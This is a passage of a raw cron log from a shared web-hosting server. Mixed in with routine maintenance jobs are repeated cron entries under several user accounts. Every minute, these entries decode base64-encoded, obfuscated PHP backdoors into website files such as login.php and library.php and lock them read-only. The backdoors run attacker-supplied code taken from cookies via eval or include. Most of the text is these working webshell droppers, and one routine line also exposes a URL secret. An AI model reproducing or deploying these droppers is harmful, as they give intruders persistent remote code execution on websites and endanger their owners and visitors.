WxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:50:02 medusa CROND[5150]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:50:02 medusa CROND[5151]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5155]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5162]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5176]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:50:02 medusa CROND[5128]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:50:02 medusa CROND[5174]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:50:02 medusa CROND[5175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:51:01 medusa CROND[23651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:51:01 medusa CROND[23698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:51:02 medusa CROND[23774]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:51:02 medusa CROND[23776]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:51:02 medusa CROND[23777]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:51:02 medusa CROND[23778]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 14:51:02 medusa CROND[23782]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:51:02 medusa CROND[23785]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:51:02 medusa CROND[23787]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:51:02 medusa CROND[23788]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:51:02 medusa CROND[23790]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:51:02 medusa CROND[23794]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 14:51:02 medusa CROND[23795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:51:02 medusa CROND[23804]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:51:02 medusa CROND[23807]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:52:02 medusa CROND[9212]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:52:02 medusa CROND[9213]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:52:02 medusa CROND[9214]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:52:02 medusa CROND[9215]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:52:02 medusa CROND[9216]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:52:02 medusa CROND[9217]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:52:02 medusa CROND[9218]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:52:02 medusa CROND[9223]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:52:02 medusa CROND[9224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:52:02 medusa CROND[9227]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:52:02 medusa CROND[9232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:52:02 medusa CROND[9233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 14:52:02 medusa CROND[9235]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:53:01 medusa CROND[27703]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
